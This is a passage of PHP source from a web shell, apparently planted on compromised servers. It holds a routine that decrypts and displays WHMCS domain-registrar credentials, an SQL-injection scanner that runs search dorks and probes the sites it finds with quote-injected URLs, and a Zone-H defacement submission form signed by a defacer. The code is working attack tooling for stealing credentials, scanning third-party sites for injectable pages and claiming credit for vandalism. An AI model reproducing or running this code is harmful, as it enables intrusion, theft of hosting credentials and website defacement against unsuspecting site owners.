3131echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
3132echo("<tr><td>Username</td><td>$username</td></tr>");
3133echo("<tr><td>Password</td><td>$password</td></tr>");
3134
3135echo "</table><br><br></center>";
3136}
3137
3138 $link=mysql_connect($db_host,$db_username,$db_password) ;
3139 mysql_select_db($db_name,$link) ;
3140$query = mysql_query("SELECT * FROM tblregistrars");
3141echo("<center>Domain Reseller <br><table border='1'>");
3142echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
3143while($v = mysql_fetch_array($query)) {
3144$registrar = $v['registrar'];
3145$setting = $v['setting'];
3146$value = decrypt ($v['value'], $cc_encryption_hash);
3147if ($value=="") {
3148$value=0;
3149}
3150$password = decrypt ($v['password'], $cc_encryption_hash);
3151echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
3152}
3153}
3154}
3155elseif(isset($_GET['x']) && ($_GET['x'] == 'sqli-scanner'))
3156{
3157?>
3158<form action="?y=<?php echo $pwd; ?>&x=sqli-scanner" method="post">
3159
3160<?php
3161
3162echo '<br><br><center><form method="post" action=""><font color="red">Dork :</font> <input type="text" value="" name="dork" style="color:#FF0000;background-color:#000000" size="20"/><input type="submit" style="color:#FF0000;background-color:#000000" name="scan" value="Scan"></form></center>';
3163
3164ob_start();
3165set_time_limit(0);
3166
3167if (isset($_POST['scan'])) {
3168
3169$browser = $_SERVER['HTTP_USER_AGENT'];
3170
3171$first = "startgoogle.startpagina.nl/index.php?q=";
3172$sec = "&start=";
3173$reg = '/<p class="g"><a href="(.*)" target="_self" onclick="/';
3174
3175for($id=0 ; $id<=30; $id++){
3176$page=$id*10;
3177$dork=urlencode($_POST['dork']);
3178$url = $first.$dork.$sec.$page;
3179
3180$curl = curl_init($url);
3181curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
3182curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
3183$result = curl_exec($curl);
3184curl_close($curl);
3185
3186preg_match_all($reg,$result,$matches);
3187}
3188foreach($matches[1] as $site){
3189
3190$url = preg_replace("/=/", "='", $site);
3191$curl=curl_init();
3192curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
3193curl_setopt($curl,CURLOPT_URL,$url);
3194curl_setopt($curl,CURLOPT_USERAGENT,'$browser)');
3195curl_setopt($curl,CURLOPT_TIMEOUT,'5');
3196$GET=curl_exec($curl);
3197if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT *
3198
3199FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i",$GET)) {
3200echo '<center><b><font color="#E10000">Found : </font><a href="'.$url.'" target="_blank">'.$url.'</a><font style="color:#FF0000"> <-- SQLI Vuln
3201
3202Found..</font></b></center>';
3203ob_flush();flush();
3204}else{
3205echo '<center><font style="color:#FFFFFF"><b>'.$url.'</b></font><font style="color:#0FFF16"> <-- Not Vuln</font></center>';
3206ob_flush();flush();
3207}
3208
3209ob_flush();flush();
3210}
3211ob_flush();flush();
3212}
3213ob_flush();flush();
3214}
3215
3216elseif(isset($_GET['x']) && ($_GET['x'] == 'zone-h')){ ?>
3217<form action="?y=<?php echo $pwd; ?>&x=zone-h" method="post">
3218<br><br><? echo '<p style="text-align: center;"> <img alt="" src="data:image/gif;base64,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%3D" style="width: 261px; height: 67px;" /></p>
3230<center><span style="font-size:1.6em;"> .: Notifier :. </span></center><center><form action="" method="post"><input class="inputz" type="text" name="defacer" size="67" value="AL.MaX HaCkEr" /><br> <select class="inputz" name="hackmode">
3231<option>------------------------------------SELECT-------------------------------------</option>
3232<option style="background-color: rgb(0, 0, 0);" value="1">known vulnerability (i.e. unpatched system)</option>
3233<option style="background-color: rgb(0, 0, 0);" value="2" >undisclosed (new) vulnerability</option>
3234<option style="background-color: rgb(0, 0, 0);" value="3" >configuration / admin. mistake</option>
3235<option style="background-color: rgb(0, 0, 0);" value="4" >brute force attack</option>
3236<option style="background-color: rgb(0, 0, 0);" value="5" >social engineering</option>
3237<option style="background-color: rgb(0, 0, 0);" value="6" >Web Server intrusion</option>
3238<option style="background-color: rgb(0, 0, 0);" value="7" >Web Server external module intrusion</option>
3239<option style="background-color: rgb(0, 0, 0);" value="8" >Mail Server intrusion</option>
3240<option style="background-color: rgb(0, 0, 0);" value="9" >FTP Server intrusion</option>
3241<option style="background-color: rgb(0, 0, 0);" value="10" >SSH Server intrusion</option>
3242<option style="background-color: rgb(0, 0, 0);" value="11" >Telnet Server intrusion</option>
3243<option style="background-color: rgb(0, 0, 0);" value="12" >RPC Server intrusion</option>
3244<option style="background-color: rgb(0, 0, 0);" value="13" >Shares misconfiguration</option>
3245<option style="background-color: rgb(0, 0, 0);" value="14" >Other Server intrusion</option>
3246<option style="background-color: rgb(0, 0, 0);" value="15" >SQL Injection</option>
3247<option style="background-color: rgb(0, 0, 0);" value="16" >URL Poisoning</option>
3248<option style="background-color: rgb(0, 0, 0);" value="17" >File Inclusion</option>
3249<option style="background-color: rgb(0, 0, 0);" value="18" >Other Web Application bug</option>
3250<option style="background-color: rgb(0, 0, 0);" value="19" >Remote administrative panel access bruteforcing</option>
3251<option style="background-color: rgb(0, 0, 0);" value="20" >Remote administrative panel access password guessing</option>
3252<option style="background-color: rgb(0, 0, 0);" value="21" >Remote administrative panel access social engineering</option>
3253<option style="background-color: rgb(0, 0, 0);" value="22" >Attack against administrator(password stealing/sniffing)</option>
3254<option style="background-color: rgb(0, 0, 0);" value="23" >Access credentials through Man In the Middle attack</option>
3255<option style="background-color: rgb(0, 0, 0);" value="24" >Remote service password guessing</option>
3256<option style="background-color: rgb(0, 0, 0);" value="25" >Remote service password bruteforce</option>
3257<option style="background-color: rgb(0, 0, 0);" value="26" >Rerouting after attacking the Firewall</option>
3258<option style="background-color: rgb(0, 0, 0);" value="27" >Rerouting after attacking the Router</option>
3259<option style="background-color: rgb(0, 0, 0);" value="28" >DNS attack through social engineering</option>
3260
3261<option style="background-color: rgb(0, 0, 0);" value="29" >DNS attack through cache poisoning</option>
3262<option style="background-color: rgb(0, 0, 0);" value="30" >Not available</option>
3263option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
3264</select> <br>
3265
3266<select class="inputz" name="reason">
3267<option >------------------------------------SELECT-------------------------------------</option>
3268<option style="background-color: rgb(0, 0, 0);" value="1" >Heh...just for fun!</option>
3269<option style="background-color: rgb(0, 0, 0);" value="2" >Revenge against that website</option>
3270<option style="background-color: rgb(0, 0, 0);" value="3" >Political reasons</option>
3271<option style="background-color: rgb(0, 0, 0);" value="4" >As a challenge</option>
3272<option style="background-color: rgb(0, 0, 0);" value="5" >I just want to be the best defacer</option>
3273<option style="background-color: rgb(0, 0, 0);" value="6" >Patriotism</option>
3274<option style="background-color: rgb(0, 0, 0);" value="7" >Not available</option>
3275option style="background-color: rgb(0, 0, 0);" value="8" >_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _</option>
3276</select> <br>
3277<textarea class="inputz" name="domain" cols="90" rows="20">List Of Domains, 20 Rows.</textarea><br>
3278<input class="inputz" type="submit" value=" Send Now !! " name="SendNowToZoneH"/>
3279</form>'; ?>
3280<?
3281 echo "</form></center>";?>
3282<?
3283function ZoneH($url, $hacker, $hackmode,$reson, $site )
3284{
3285 $k = curl_init();
3286 curl_setopt($k, CURLOPT_URL, $url);
3287 curl_setopt($k,CURLOPT_POST,true);
